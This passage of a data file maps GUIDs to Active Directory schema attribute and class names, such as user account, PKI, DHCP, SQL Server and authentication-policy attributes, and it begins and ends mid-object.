"f5446328-8b6e-498d-95a8-211748d5acdc": "ms-DS-cloudExtensionAttribute20", "a16f33c7-7fd6-4828-9364-435138fda08d": "ms-Print-ConnectionPolicy", "b72f862b-bb25-4d5d-aa51-62c59bdf90ae": "ms-SPP-Activation-Objects-Container", "bf967948-0de6-11d0-a285-00aa003049e2": "Default-Class-Store", "11b6cc8d-48c4-11d1-a9c3-0000f80367c1": "meetingRating", "5f49940e-a79f-4a51-bb6f-3d446a54dc6b": "ms-PKI-OID-CPS", "28630ec0-41d5-11d1-a9c1-0000f80367c1": "Partial-Attribute-Deletion-List", "9c8ef177-41cf-45c9-9673-7716c0c8901b": "unstructuredName", "6b3d6fda-0893-43c4-89fb-1fb52a6616a9": "ms-DS-Issuer-Certificates", "720bc4e2-a54a-11d0-afdf-00c04fd930c9": "Default-Group", "11b6cc8f-48c4-11d1-a9c3-0000f80367c1": "meetingRecurrence", "7d59a816-bb05-4a72-971f-5c1331f67559": "ms-PKI-OID-LocalizedName", "19405b9e-3cfa-11d1-a9c0-0000f80367c1": "Partial-Attribute-Set", "d9e18312-8939-11d1-aebc-0000f80367c1": "Upgrade-Product-Code", "ca3286c2-1f64-4079-96bc-e62b610e730f": "ms-DS-Registration-Quota", "37cfd85c-6719-4ad8-8f9e-8678ba627563": "ms-PKI-Enterprise-Oid", "51a0e68c-0dc5-43ca-935d-c1c911bf2ee5": "ms-SPP-Activation-Object", "b7b13116-b82e-11d0-afee-0000f80367c1": "Default-Hiding-Value", "11b6cc8a-48c4-11d1-a9c3-0000f80367c1": "meetingScope", "04c4da7a-e114-4e69-88de-e293f2d3b395": "ms-PKI-OID-User-Notice", "07383084-91df-11d1-aebc-0000f80367c1": "Pek-Key-Change-Interval", "032160bf-9824-11d1-aec0-0000f80367c1": "UPN-Suffixes", "0a5caa39-05e6-49ca-b808-025b936610e7": "ms-DS-Maximum-Registration-Inactivity-Period", "bf96799f-0de6-11d0-a285-00aa003049e2": "Default-Local-Policy-Object", "11b6cc90-48c4-11d1-a9c3-0000f80367c1": "meetingStartTime", "bab04ac2-0435-4709-9307-28380e7c7001": "ms-PKI-Private-Key-Flag", "07383083-91df-11d1-aebc-0000f80367c1": "Pek-List", "bf967a68-0de6-11d0-a285-00aa003049e2": "User-Account-Control", "e3fb56c8-5de8-45f5-b1b1-d2b6cd31e762": "ms-DS-Device-Location", "26ccf238-a08e-4b86-9a82-a8c9ac7ee5cb": "ms-PKI-Key-Recovery-Agent", "e027a8bd-6456-45de-90a3-38593877ee74": "ms-TPM-Information-Objects-Container", "26d97367-6070-11d1-a9c6-0000f80367c1": "Default-Object-Category", "11b6cc82-48c4-11d1-a9c3-0000f80367c1": "meetingType", "0cd8711f-0afc-4926-a4b1-09b08d3d436c": "ms-PKI-Site-Name", "963d273c-48be-11d1-a9c3-0000f80367c1": "Pending-CA-Certificates", "bf967a69-0de6-11d0-a285-00aa003049e2": "User-Cert", "617626e9-01eb-42cf-991f-ce617982237e": "ms-DS-Registered-Owner", "281416c8-1968-11d0-a28f-00aa003049e2": "Default-Priority", "11b6cc8c-48c4-11d1-a9c3-0000f80367c1": "meetingURL", "9de8ae7d-7a5b-421d-b5e4-061f79dfd5d7": "ms-PKI-Supersede-Templates", "963d273e-48be-11d1-a9c3-0000f80367c1": "Pending-Parent-CA", "bf967a6a-0de6-11d0-a285-00aa003049e2": "User-Comment", "0449160c-5a8e-4fc8-b052-01c0f6e48f02": "ms-DS-Registered-Users", "05f6c878-ccef-11d2-9993-0000f87a57d4": "MS-SQL-SQLServer", "85045b6a-47a6-4243-a7cc-6890701f662c": "ms-TPM-Information-Object", "807a6d30-1669-11d0-a064-00aa006c33ed": "Default-Security-Descriptor", "bf9679c0-0de6-11d0-a285-00aa003049e2": "Member", "13f5236c-1884-46b1-b5d0-484e38990d58": "ms-PKI-Template-Minor-Revision", "5fd424d3-1262-11d0-a060-00aa006c33ed": "Per-Msg-Dialog-Display-Table", "bf967a6d-0de6-11d0-a285-00aa003049e2": "User-Parameters", "a34f983b-84c6-4f0c-9050-a3a14a1d35a4": "ms-DS-Approximate-Last-Logon-Time-Stamp", "167757b5-47f3-11d1-a9c3-0000f80367c1": "Delta-Revocation-List", "0296c122-40da-11d1-a9c0-0000f80367c1": "MHS-OR-Address", "0c15e9f5-491d-4594-918f-32813a091da9": "ms-PKI-Template-Schema-Version", "5fd424d4-1262-11d0-a060-00aa006c33ed": "Per-Recip-Dialog-Display-Table", "bf967a6e-0de6-11d0-a285-00aa003049e2": "User-Password", "22a95c0e-1f83-4c82-94ce-bea688cfc871": "ms-DS-Is-Enabled", "0c7e18ea-ccef-11d2-9993-0000f87a57d4": "MS-SQL-OLAPServer", "ef2fc3ed-6e18-415b-99e4-3114a8cb124b": "ms-DNS-Server-Settings", "bf96794f-0de6-11d0-a285-00aa003049e2": "Department", "bf9679c2-0de6-11d0-a285-00aa003049e2": "Min-Pwd-Age", "3c91fbbf-4773-4ccd-a87b-85d53e7bcf6a": "ms-PKI-RA-Application-Policies", "16775858-47f3-11d1-a9c3-0000f80367c1": "Personal-Title", "11732a8a-e14d-4cc5-b92f-d93f51c6d8e4": "userClass", "100e454d-f3bb-4dcb-845f-8d5edc471c59": "ms-DS-Device-OS-Type", "be9ef6ee-cbc7-4f22-b27b-96967e7ee585": "departmentNumber", "bf9679c3-0de6-11d0-a285-00aa003049e2": "Min-Pwd-Length", "d546ae22-0951-4d47-817e-1c9f96faad46": "ms-PKI-RA-Policies", "0296c11d-40da-11d1-a9c0-0000f80367c1": "Phone-Fax-Other", "23998ab5-70f8-4007-a4c1-a84a38311f9a": "userPKCS12", "70fb8c63-5fab-4504-ab9d-14b329a8a7f8": "ms-DS-Device-OS-Version", "11d43c5c-ccef-11d2-9993-0000f87a57d4": "MS-SQL-SQLRepository", "555c21c3-a136-455a-9397-796bbd358e25": "ms-Authz-Central-Access-Policies", "bf967950-0de6-11d0-a285-00aa003049e2": "Description", "bf9679c4-0de6-11d0-a285-00aa003049e2": "Min-Ticket-Age", "fe17e04b-937d-4f7e-8e0e-9292c8d5683e": "ms-PKI-RA-Signature", "f0f8ffa2-1191-11d0-a060-00aa006c33ed": "Phone-Home-Other", "28630ebb-41d5-11d1-a9c1-0000f80367c1": "User-Principal-Name", "90615414-a2a0-4447-a993-53409599b74e": "ms-DS-Device-Physical-IDs", "eea65906-8ac6-11d0-afda-00c04fd930c9": "Desktop-Profile", "bf9679c5-0de6-11d0-a285-00aa003049e2": "Modified-Count", "6617e4ac-a2f1-43ab-b60c-11fbd1facf05": "ms-PKI-RoamingTimeStamp", "f0f8ffa1-1191-11d0-a060-00aa006c33ed": "Phone-Home-Primary", "9a9a021f-4a5b-11d1-a9c3-0000f80367c1": "User-Shared-Folder", "c30181c7-6342-41fb-b279-f7c566cbe0a7": "ms-DS-Device-ID", "17c2f64e-ccef-11d2-9993-0000f87a57d4": "MS-SQL-SQLPublication", "99bb1b7a-606d-4f8b-800e-e15be554ca8d": "ms-Authz-Central-Access-Rules", "974c9a02-33fc-11d3-aa6e-00c04f8eedd8": "msExch-Proxy-Gen-Options", "bf967951-0de6-11d0-a285-00aa003049e2": "Destination-Indicator", "bf9679c6-0de6-11d0-a285-00aa003049e2": "Modified-Count-At-Last-Prom", "b3f93023-9239-4f7c-b99c-6745d87adbc2": "ms-PKI-DPAPIMasterKeys", "4d146e4b-48d4-11d1-a9c3-0000f80367c1": "Phone-Ip-Other", "9a9a0220-4a5b-11d1-a9c3-0000f80367c1": "User-Shared-Folder-Other", "ef65695a-f179-4e6a-93de-b01e06681cfb": "ms-DS-Device-Object-Version", "963d2750-48be-11d1-a9c3-0000f80367c1": "dhcp-Classes", "9a7ad94a-ca53-11d1-bbd0-0080c76670c0": "Modify-Time-Stamp", "b8dfa744-31dc-4ef1-ac7c-84baf7ef9da7": "ms-PKI-AccountCredentials", "4d146e4a-48d4-11d1-a9c3-0000f80367c1": "Phone-Ip-Primary", "e16a9db2-403c-11d1-a9c0-0000f80367c1": "User-SMIME-Certificate", "862166b6-c941-4727-9565-48bfff2941de": "ms-DS-Is-Member-Of-DL-Transitive", "1d08694a-ccef-11d2-9993-0000f87a57d4": "MS-SQL-SQLDatabase", "5b4a06dc-251c-4edb-8813-0bdd71327226": "ms-Authz-Central-Access-Rule", "963d2741-48be-11d1-a9c3-0000f80367c1": "dhcp-Flags", "bf9679c7-0de6-11d0-a285-00aa003049e2": "Moniker", "f39b98ad-938d-11d1-aebd-0000f80367c1": "ms-RRAS-Attribute", "0296c11f-40da-11d1-a9c0-0000f80367c1": "Phone-ISDN-Primary", "bf9679d7-0de6-11d0-a285-00aa003049e2": "User-Workstations", "e215395b-9104-44d9-b894-399ec9e21dfc": "ms-DS-Member-Transitive", "963d2742-48be-11d1-a9c3-0000f80367c1": "dhcp-Identification", "bf9679c8-0de6-11d0-a285-00aa003049e2": "Moniker-Display-Name", "f39b98ac-938d-11d1-aebd-0000f80367c1": "ms-RRAS-Vendor-Attribute-Entry", "0296c11e-40da-11d1-a9c0-0000f80367c1": "Phone-Mobile-Other", "bf967a6f-0de6-11d0-a285-00aa003049e2": "USN-Changed", "b918fe7d-971a-f404-9e21-9261abec970b": "ms-DS-Parent-Dist-Name", "20af031a-ccef-11d2-9993-0000f87a57d4": "MS-SQL-OLAPDatabase", "a5679cb0-6f9d-432c-8b75-1e3e834f02aa": "ms-Authz-Central-Access-Policy", "963d2747-48be-11d1-a9c3-0000f80367c1": "dhcp-Mask", "1f2ac2c8-3b71-11d2-90cc-00c04fd91ab1": "Move-Tree-State", "a6f24a23-d65c-4d65-a64f-35fb6873c2b9": "ms-RADIUS-FramedInterfaceId", "f0f8ffa3-1191-11d0-a060-00aa006c33ed": "Phone-Mobile-Primary", "bf967a70-0de6-11d0-a285-00aa003049e2": "USN-Created", "1e02d2ef-44ad-46b2-a67d-9fd18d780bca": "ms-DS-Repl-Value-Meta-Data-Ext", "963d2754-48be-11d1-a9c3-0000f80367c1": "dhcp-MaxKey", "998b10f7-aa1a-4364-b867-753d197fe670": "ms-COM-DefaultPartitionLink", "a4da7289-92a3-42e5-b6b6-dad16d280ac9": "ms-RADIUS-SavedFramedInterfaceId", "f0f8ffa5-1191-11d0-a060-00aa006c33ed": "Phone-Office-Other", "bf967a71-0de6-11d0-a285-00aa003049e2": "USN-DSA-Last-Obj-Removed", "6055f766-202e-49cd-a8be-e52bb159edfb": "ms-DS-Drs-Farm-ID", "09f0506a-cd28-11d2-9993-0000f87a57d4": "MS-SQL-OLAPCube", "5ef243a8-2a25-45a6-8b73-08a71ae677ce": "ms-Kds-Prov-ServerConfiguration", "963d2744-48be-11d1-a9c3-0000f80367c1": "dhcp-Obj-Description", "430f678b-889f-41f2-9843-203b5a65572f": "ms-COM-ObjectId", "f63ed610-d67c-494d-87be-cd1e24359a38": "ms-RADIUS-FramedIpv6Prefix", "f0f8ffa4-1191-11d0-a060-00aa006c33ed": "Phone-Pager-Other", "a8df7498-c5ea-11d1-bbcb-0080c76670c0": "USN-Intersite", "b5f1edfe-b4d2-4076-ab0f-6148342b0bf6": "ms-DS-Issuer-Public-Certificates", "963d2743-48be-11d1-a9c3-0000f80367c1": "dhcp-Obj-Name", "09abac62-043f-4702-ac2b-6ca15eee5754": "ms-COM-PartitionLink", "0965a062-b1e1-403b-b48d-5c0eb0e952cc": "ms-RADIUS-SavedFramedIpv6Prefix", "f0f8ffa6-1191-11d0-a060-00aa006c33ed": "Phone-Pager-Primary", "bf967a73-0de6-11d0-a285-00aa003049e2": "USN-Last-Obj-Rem", "60686ace-6c27-43de-a4e5-f00c2f8d3309": "ms-DS-IsManaged", "ca7b9735-4b2a-4e49-89c3-99025334dc94": "ms-TAPI-Rt-Conference", "aa02fd41-17e0-4f18-8687-b2239649736b": "ms-Kds-Prov-RootKey", "963d274f-48be-11d1-a9c3-0000f80367c1": "dhcp-Options", "67f121dc-7d02-4c7d-82f5-9ad4c950ac34": "ms-COM-PartitionSetLink", "5a5aa804-3083-4863-94e5-018a79a22ec0": "ms-RADIUS-FramedIpv6Route", "9c979768-ba1a-4c08-9632-c6a5c1ed649a": "photo", "167758ad-47f3-11d1-a9c3-0000f80367c1": "USN-Source", "5315ba8e-958f-4b52-bd38-1349a304dd63": "ms-DS-Cloud-IsManaged", "963d2753-48be-11d1-a9c3-0000f80367c1": "dhcp-Properties", "9e6f3a4d-242c-4f37-b068-36b57f9fc852": "ms-COM-UserLink", "9666bb5c-df9d-4d41-b437-2eec7e27c9b3": "ms-RADIUS-SavedFramedIpv6Route", "bf9679f7-0de6-11d0-a285-00aa003049e2": "Physical-Delivery-Office-Name", "4d2fa380-7f54-11d2-992a-0000f87a57d4": "Valid-Accesses", "78565e80-03d4-4fe3-afac-8c3bca2f3653": "ms-DS-Cloud-Anchor", "53ea1cb5-b704-4df9-818f-5cb4ec86cac1": "ms-TAPI-Rt-Person", "7b8b558a-93a5-4af7-adca-c017e67f1057": "ms-DS-Group-Managed-Service-Account", "963d2748-48be-11d1-a9c3-0000f80367c1": "dhcp-Ranges", "8e940c8a-e477-4367-b08d-ff2ff942dcd7": "ms-COM-UserPartitionSetLink", "3532dfd8-ccee-11d2-9993-0000f87a57d4": "MS-SQL-Name", "b7b13119-b82e-11d0-afee-0000f80367c1": "Physical-Location-Object", "281416df-1968-11d0-a28f-00aa003049e2": "Vendor", "a1e8b54f-4bd6-4fd2-98e2-bcee92a55497": "ms-DS-Cloud-Issuer-Public-Certificates", "963d274a-48be-11d1-a9c3-0000f80367c1": "dhcp-Reservations", "e85e1204-3434-41ad-9b56-e2901228fff0": "MS-DRM-Identity-Certificate", "48fd44ea-ccee-11d2-9993-0000f87a57d4": "MS-SQL-RegisteredOwner", "8d3bca50-1d7e-11d0-a081-00aa006c33ed": "Picture", "bf967a76-0de6-11d0-a285-00aa003049e2": "Version-Number", "89848328-7c4e-4f6f-a013-28ce3ad282dc": "ms-DS-Cloud-IsEnabled", "50ca5d7d-5c8b-4ef3-b9df-5b66d491e526": "ms-WMI-IntRangeParam", "e3c27fdf-b01d-4f4e-87e7-056eef0eb922": "ms-DS-Value-Type", "963d2745-48be-11d1-a9c3-0000f80367c1": "dhcp-Servers", "80863791-dbe9-4eb8-837e-7f0ab55d9ac7": "ms-DS-Additional-Dns-Host-Name", "4f6cbdd8-ccee-11d2-9993-0000f87a57d4": "MS-SQL-Contact", "fc5a9106-3b9d-11d2-90cc-00c04fd91ab1": "PKI-Critical-Extensions", "7d6c0e9a-7e20-11d0-afd6-00c04fd930c9": "Version-Number-Hi", "b7acc3d2-2a74-4fa4-ac25-e63fe8b61218": "ms-DS-SyncServerUrl", "963d2749-48be-11d1-a9c3-0000f80367c1": "dhcp-Sites", "975571df-a4d5-429a-9f59-cdc6581d91e6": "ms-DS-Additional-Sam-Account-Name", "561c9644-ccee-11d2-9993-0000f87a57d4": "MS-SQL-Location", "1ef6336e-3b9e-11d2-90cc-00c04fd91ab1": "PKI-Default-CSPs", "7d6c0e9b-7e20-11d0-afd6-00c04fd930c9": "Version-Number-Lo", "de0caa7f-724e-4286-b179-192671efc664": "ms-DS-User-Allowed-To-Authenticate-To", "292f0d9a-cf76-42b0-841f-b650f331df62": "ms-WMI-IntSetParam", "2eeb62b3-1373-fe45-8101-387f1676edc7": "ms-DS-Claims-Transformation-Policy-Type", "963d2752-48be-11d1-a9c3-0000f80367c1": "dhcp-State", "d3aa4a5c-4e03-4810-97aa-2b339e7a434b": "MS-DS-All-Users-Trust-Quota", "5b5d448c-ccee-11d2-9993-0000f87a57d4": "MS-SQL-Memory", "426cae6e-3b9d-11d2-90cc-00c04fd91ab1": "PKI-Default-Key-Spec", "1f0075fd-7e40-11d0-afd6-00c04fd930c9": "Vol-Table-GUID", "2c4c9600-b0e1-447d-8dda-74902257bdb5": "ms-DS-User-Allowed-To-Authenticate-From", "963d2746-48be-11d1-a9c3-0000f80367c1": "dhcp-Subnets", "8469441b-9ac4-4e45-8205-bd219dbf672d": "ms-DS-Allowed-DNS-Suffixes", "603e94c4-ccee-11d2-9993-0000f87a57d4": "MS-SQL-Build", "926be278-56f9-11d2-90d0-00c04fd91ab1": "PKI-Enrollment-Access", "1f0075fb-7e40-11d0-afd6-00c04fd930c9": "Vol-Table-Idx-GUID", "8521c983-f599-420f-b9ab-b1222bdf95c1": "ms-DS-User-TGT-Lifetime", "07502414-fdca-4851-b04a-13645b11d226": "ms-WMI-MergeablePolicyTemplate", "c8fca9b1-7d88-bb4f-827a-448927710762": "ms-DS-Claims-Transformation-Policies", "963d273b-48be-11d1-a9c3-0000f80367c1": "dhcp-Type", "800d94d7-b7a1-42a1-b14d-7cae1423d07f": "ms-DS-Allowed-To-Delegate-To", "64933a3e-ccee-11d2-9993-0000f87a57d4": "MS-SQL-ServiceAccount", "041570d2-3b9e-11d2-90cc-00c04fd91ab1": "PKI-Expiration-Period", "34aaa217-b699-11d0-afee-0000f80367c1": "Volume-Count", "105babe9-077e-4793-b974-ef0410b62573": "ms-DS-Computer-Allowed-To-Authenticate-To", "963d273a-48be-11d1-a9c3-0000f80367c1": "dhcp-Unique-Key", "c4af1073-ee50-4be0-b8c0-89a41fe99abe": "ms-DS-Auxiliary-Classes", "696177a6-ccee-11d2-9993-0000f87a57d4": "MS-SQL-CharacterSet", "18976af6-3b9e-11d2-90cc-00c04fd91ab1": "PKI-Extended-Key-Usage", "244b2970-5abd-11d0-afd2-00c04fd930c9": "Wbem-Path", "2e937524-dfb9-4cac-a436-a5b7da64fd66": "ms-DS-Computer-TGT-Lifetime", "55dd81c9-c312-41f9-a84d-c6adbdf1e8e1": "ms-WMI-ObjectEncoding", "641e87a4-8326-4771-ba2d-c706df35e35a": "ms-DS-Cloud-Extensions", "963d2755-48be-11d1-a9c3-0000f80367c1": "dhcp-Update-Time", "e185d243-f6ce-4adb-b496-b0c005d7823c": "ms-DS-Approx-Immed-Subordinates", "6ddc42c0-ccee-11d2-9993-0000f87a57d4": "MS-SQL-SortOrder", "e9b0a87e-3b9d-11d2-90cc-00c04fd91ab1": "PKI-Key-Usage", "05308983-7688-11d1-aded-00c04fd8d5cd": "Well-Known-Objects", "f2973131-9b4d-4820-b4de-0474ef3b849f": "ms-DS-Service-Allowed-To-Authenticate-To", "bf967953-0de6-11d0-a285-00aa003049e2": "Display-Name", "3e1ee99c-6604-4489-89d9-84798a89515a": "ms-DS-AuthenticatedAt-DC", "72dc918a-ccee-11d2-9993-0000f87a57d4": "MS-SQL-UnicodeSortOrder", "f0bfdefa-3b9d-11d2-90cc-00c04fd91ab1": "PKI-Max-Issuing-Depth", "bf967a77-0de6-11d0-a285-00aa003049e2": "When-Changed", "97da709a-3716-4966-b1d1-838ba53c3d89": "ms-DS-Service-Allowed-To-Authenticate-From", "e2bc80f1-244a-4d59-acc6-ca5c4f82e6e1": "ms-WMI-PolicyTemplate", "310b55ce-3dcd-4392-a96d-c9e35397c24f": "ms-DS-Device-Registration-Service-Container", "bf967954-0de6-11d0-a285-00aa003049e2": "Display-Name-Printable", "e8b2c971-a6df-47bc-8d6f-62770d527aa5": "ms-DS-AuthenticatedTo-Accountlist", "7778bd90-ccee-11d2-9993-0000f87a57d4": "MS-SQL-Clustered", "1219a3ec-3b9e-11d2-90cc-00c04fd91ab1": "PKI-Overlap-Period", "bf967a78-0de6-11d0-a285-00aa003049e2": "When-Created", "5dfe3c20-ca29-407d-9bab-8421e55eb75c": "ms-DS-Service-TGT-Lifetime", "9a7ad946-ca53-11d1-bbd0-0080c76670c0": "DIT-Content-Rules", "503fc3e8-1cc6-461a-99a3-9eee04f402a7": "ms-DS-Az-Application-Data", "7b91c840-ccee-11d2-9993-0000f87a57d4": "MS-SQL-NamedPipe", "8447f9f1-1027-11d0-a05f-00aa006c33ed": "PKT", "bf967a79-0de6-11d0-a285-00aa003049e2": "Winsock-Addresses", "b23fc141-0df5-4aea-b33d-6cf493077b3f": "ms-DS-Assigned-AuthN-Policy-Silo", "595b2613-4109-4e77-9013-a3bb4ef277c7": "ms-WMI-PolicyType", "96bc3a1a-e3d2-49d3-af11-7b0df79d67f5": "ms-DS-Device-Registration-Service", "fe6136a0-2073-11d0-a9c2-00aa006c33ed": "Division", "db5b0728-6208-4876-83b7-95d3e5695275": "ms-DS-Az-Application-Name", "8157fa38-ccee-11d2-9993-0000f87a57d4": "MS-SQL-MultiProtocol", "8447f9f0-1027-11d0-a05f-00aa006c33ed": "PKT-Guid", "bf967a7a-0de6-11d0-a285-00aa003049e2": "WWW-Home-Page", "33140514-f57a-47d2-8ec4-04c4666600c7": "ms-DS-Assigned-AuthN-Policy-Silo-BL", "f0f8ff8b-1191-11d0-a060-00aa006c33ed": "DMD-Location", "7184a120-3ac4-47ae-848f-fe0ab20784d4": "ms-DS-Az-Application-Version", "86b08004-ccee-11d2-9993-0000f87a57d4": "MS-SQL-SPX", "19405b96-3cfa-11d1-a9c0-0000f80367c1": "Policy-Replication-Flags", "9a9a0221-4a5b-11d1-a9c3-0000f80367c1": "WWW-Page-Other", "164d1e05-48a6-4886-a8e9-77a2006e3c77": "ms-DS-AuthN-Policy-Silo-Members", "45fb5a57-5018-4d0f-9056-997c8c9122d9": "ms-WMI-RangeParam", "7c9e8c58-901b-4ea8-b6ec-4eb9e9fc0e11": "ms-DS-Device-Container", "167757b9-47f3-11d1-a9c3-0000f80367c1": "DMD-Name", "33d41ea8-c0c9-4c92-9494-f104878413fd": "ms-DS-Az-Biz-Rule", "8ac263a6-ccee-11d2-9993-0000f87a57d4": "MS-SQL-TCPIP", "281416c4-1968-11d0-a28f-00aa003049e2": "Port-Name", "bf967a7b-0de6-11d0-a285-00aa003049e2": "X121-Address", "11fccbc7-fbe4-4951-b4b7-addf6f9efd44": "ms-DS-AuthN-Policy-Silo-Members-BL", "2df90d86-009f-11d2-aa4c-00c04fd7d83a": "DN-Reference-Update", "52994b56-0e6c-4e07-aa5c-ef9d7f5a0e25": "ms-DS-Az-Biz-Rule-Language", "8fda89f4-ccee-11d2-9993-0000f87a57d4": "MS-SQL-AppleTalk", "bf9679fa-0de6-11d0-a285-00aa003049e2": "Poss-Superiors", "d07da11f-8a3d-42b6-b0aa-76c962be719a": "x500uniqueIdentifier", "cd26b9f3-d415-442a-8f78-7c61523ee95b": "ms-DS-User-AuthN-Policy", "6afe8fe2-70bc-4cce-b166-a96f7359c514": "ms-WMI-RealRangeParam", "d2b1470a-8f84-491e-a752-b401ee00fe5c": "ms-DS-AuthN-Policy-Silos", "e0fa1e65-9b45-11d0-afdd-00c04fd930c9": "Dns-Allow-Dynamic", "013a7277-5c2d-49ef-a7de-b765b36a3f6f": "ms-DS-Az-Class-ID", "94c56394-ccee-11d2-9993-0000f87a57d4": "MS-SQL-Vines", "9a7ad94c-ca53-11d1-bbd0-0080c76670c0": "Possible-Inferiors", "bf967a7f-0de6-11d0-a285-00aa003049e2": "X509-Cert", "2f17faa9-5d47-4b1f-977e-aa52fabe65c8": "ms-DS-User-AuthN-Policy-BL", "e0fa1e66-9b45-11d0-afdd-00c04fd930c9": "Dns-Allow-XFR", "6448f56a-ca70-4e2e-b0af-d20e4ce653d0": "ms-DS-Az-Domain-Timeout", "9a7d4770-ccee-11d2-9993-0000f87a57d4": "MS-SQL-Status", "bf9679fb-0de6-11d0-a285-00aa003049e2": "Post-Office-Box", "612cb747-c0e8-4f92-9221-fdd5f15b550d": "UnixUserPassword", "afb863c9-bea3-440f-a9f3-6153cc668929": "ms-DS-Computer-AuthN-Policy", "3c7e6f83-dd0e-481b-a0c2-74cd96ef2a66": "ms-WMI-Rule", "3a9adf5d-7b97-4f7e-abb4-e5b55c1c06b4": "ms-DS-AuthN-Policies", "72e39547-7b18-11d1-adef-00c04fd8d5cd": "DNS-Host-Name", "f90abab0-186c-4418-bb85-88447c87222a": "ms-DS-Az-Generate-Audits", "9fcc43d4-ccee-11d2-9993-0000f87a57d4": "MS-SQL-LastUpdatedDate", "bf9679fc-0de6-11d0-a285-00aa003049e2": "Postal-Address", "850fcc8f-9c6b-47e1-b671-7c654be4d5b3": "UidNumber", "2bef6232-30a1-457e-8604-7af6dbf131b8": "ms-DS-Computer-AuthN-Policy-BL", "e0fa1e68-9b45-11d0-afdd-00c04fd930c9": "Dns-Notify-Secondaries", "665acb5c-bb92-4dbc-8c59-b3638eab09b3": "ms-DS-Az-Last-Imported-Biz-Rule-Path", "a42cd510-ccee-11d2-9993-0000f87a57d4": "MS-SQL-InformationURL", "bf9679fd-0de6-11d0-a285-00aa003049e2": "Postal-Code", "c5b95f0c-ec9e-41c4-849c-b46597ed6696": "GidNumber", "2a6a6d95-28ce-49ee-bb24-6d1fc01e3111": "ms-DS-Service-AuthN-Policy", "f1e44bdf-8dd3-4235-9c86-f91f31f5b569": "ms-WMI-ShadowObject", "f9f0461e-697d-4689-9299-37e61d617b0d": "ms-DS-AuthN-Policy-Silo", "675a15fe-3b70-11d2-90cc-00c04fd91ab1": "DNS-Property", "5e53368b-fc94-45c8-9d7d-daf31ee7112d": "ms-DS-Az-LDAP-Query", "a92d23da-ccee-11d2-9993-0000f87a57d4": "MS-SQL-ConnectionURL", "bf9679fe-0de6-11d0-a285-00aa003049e2": "Preferred-Delivery-Method", "a3e03f1f-1d55-4253-a0af-30c2a784e46e": "Gecos", "2c1128ec-5aa2-42a3-b32d-f0979ca9fcd2": "ms-DS-Service-AuthN-Policy-BL", "f60a8f96-57c4-422c-a3ad-9e2fa09ce6f7": "ms-DS-Device-MDMStatus", "e0fa1e69-9b45-11d0-afdd-00c04fd930c9": "Dns-Record", "cfb9adb7-c4b7-4059-9568-1ed9db6b7248": "ms-DS-Az-Major-Version", "ae0c11b8-ccee-11d2-9993-0000f87a57d4": "MS-SQL-PublicationURL", "856be0d0-18e7-46e1-8f5f-7ee4d9020e0d": "preferredLanguage", "bc2dba12-000f-464d-bf1d-0808465d8843": "UnixHomeDirectory", "b87a0ad8-54f7-49c1-84a0-e64d12853588": "ms-DS-Assigned-AuthN-Policy", "6cc8b2b5-12df-44f6-8307-e74f5cdee369": "ms-WMI-SimplePolicyTemplate", "a11703b7-5641-4d9c-863e-5fb3325e74e0": "ms-DS-GeoCoordinates-Altitude", "bf967959-0de6-11d0-a285-00aa003049e2": "Dns-Root", "ee85ed93-b209-4788-8165-e702f51bfbf3": "ms-DS-Az-Minor-Version", "b222ba0e-ccee-11d2-9993-0000f87a57d4": "MS-SQL-GPSLatitude", "bf9679ff-0de6-11d0-a285-00aa003049e2": "Preferred-OU", "a553d12c-3231-4c5e-8adf-8d189697721e": "LoginShell", "2d131b3c-d39f-4aee-815e-8db4bc1ce7ac": "ms-DS-Assigned-AuthN-Policy-BL", "dc66d44e-3d43-40f5-85c5-3c12e169927e": "ms-DS-GeoCoordinates-Latitude", "e0fa1e67-9b45-11d0-afdd-00c04fd930c9": "Dns-Secure-Secondaries", "a5f3b553-5d76-4cbe-ba3f-4312152cab18": "ms-DS-Az-Operation-ID", "b7577c94-ccee-11d2-9993-0000f87a57d4": "MS-SQL-GPSLongitude", "52458022-ca6a-11d0-afff-0000f80367c1": "Prefix-Map", "f8f2689c-29e8-4843-8177-e8b98e15eeac": "ShadowLastChange", "7a560cc2-ec45-44ba-b2d7-21236ad59fd5": "ms-DS-AuthN-Policy-Enforced", "ab857078-0142-4406-945b-34c9b6b13372": "ms-WMI-Som", "94c42110-bae4-4cea-8577-af813af5da25": "ms-DS-GeoCoordinates-Longitude", "d5eb2eb7-be4e-463b-a214-634a44d7392e": "DNS-Tombstoned", "515a6b06-2617-4173-8099-d5605df043c6": "ms-DS-Az-Scope-Name", "bcdd4f0e-ccee-11d2-9993-0000f87a57d4": "MS-SQL-GPSHeight", "a8df744b-c5ea-11d1-bbcb-0080c76670c0": "Presentation-Address", "a76b8737-e5a1-4568-b057-dc12e04be4b2": "ShadowMin", "f2f51102-6be0-493d-8726-1546cdbc8771": "ms-DS-AuthN-Policy-Silo-Enforced", "bd29bf90-66ad-40e1-887b-10df070419a6": "ms-DS-External-Directory-Object-Id", "f18a8e19-af5f-4478-b096-6f35c27eb83f": "documentAuthor", "2629f66a-1f95-4bf3-a296-8e9d7b9e30c8": "ms-DS-Az-Script-Engine-Cache-Max", "c07cc1d0-ccee-11d2-9993-0000f87a57d4": "MS-SQL-Version", "963d2739-48be-11d1-a9c3-0000f80367c1": "Previous-CA-Certificates", "f285c952-50dd-449e-9160-3b880d99988d": "ShadowMax", "0bc579a2-1da7-4cea-b699-807f3b9d63a4": "ms-WMI-StringSetParam", "0b21ce82-ff63-46d9-90fb-c8b9f24e97b9": "documentIdentifier", "87d0fb41-2c8b-41f6-b972-11fdfd50d6b0": "ms-DS-Az-Script-Timeout", "c57f72f4-ccee-11d2-9993-0000f87a57d4": "MS-SQL-Language", "963d273d-48be-11d1-a9c3-0000f80367c1": "Previous-Parent-CA", "7ae89c9c-2976-4a46-bb8a-340f88560117": "ShadowWarning", "2628a46a-a6ad-4ae0-b854-2b12d9fe6f9e": "account", "bf967aa1-0de6-11d0-a285-00aa003049e2": "Mail-Recipient", "b958b14e-ac6d-4ec4-8892-be70b69f7281": "documentLocation", "7b078544-6c82-4fe9-872f-ff48ad2b2e26": "ms-DS-Az-Task-Is-Role-Definition", "8386603c-ccef-11d2-9993-0000f87a57d4": "MS-SQL-Description", "bf967a00-0de6-11d0-a285-00aa003049e2": "Primary-Group-ID", "86871d1f-3310-4312-8efd-af49dcfb2671": "ShadowInactive", "bf967a83-0de6-11d0-a285-00aa003049e2": "Class-Schema", "d9a799b2-cef3-48b3-b5ad-fb85f8dd3214": "ms-WMI-UintRangeParam", "59527d0f-b7c0-4ce2-a1dd-71cef6963292": "ms-DS-Is-Compliant", "170f09d7-eb69-448a-9a30-f1afecfd32d7": "documentPublisher", 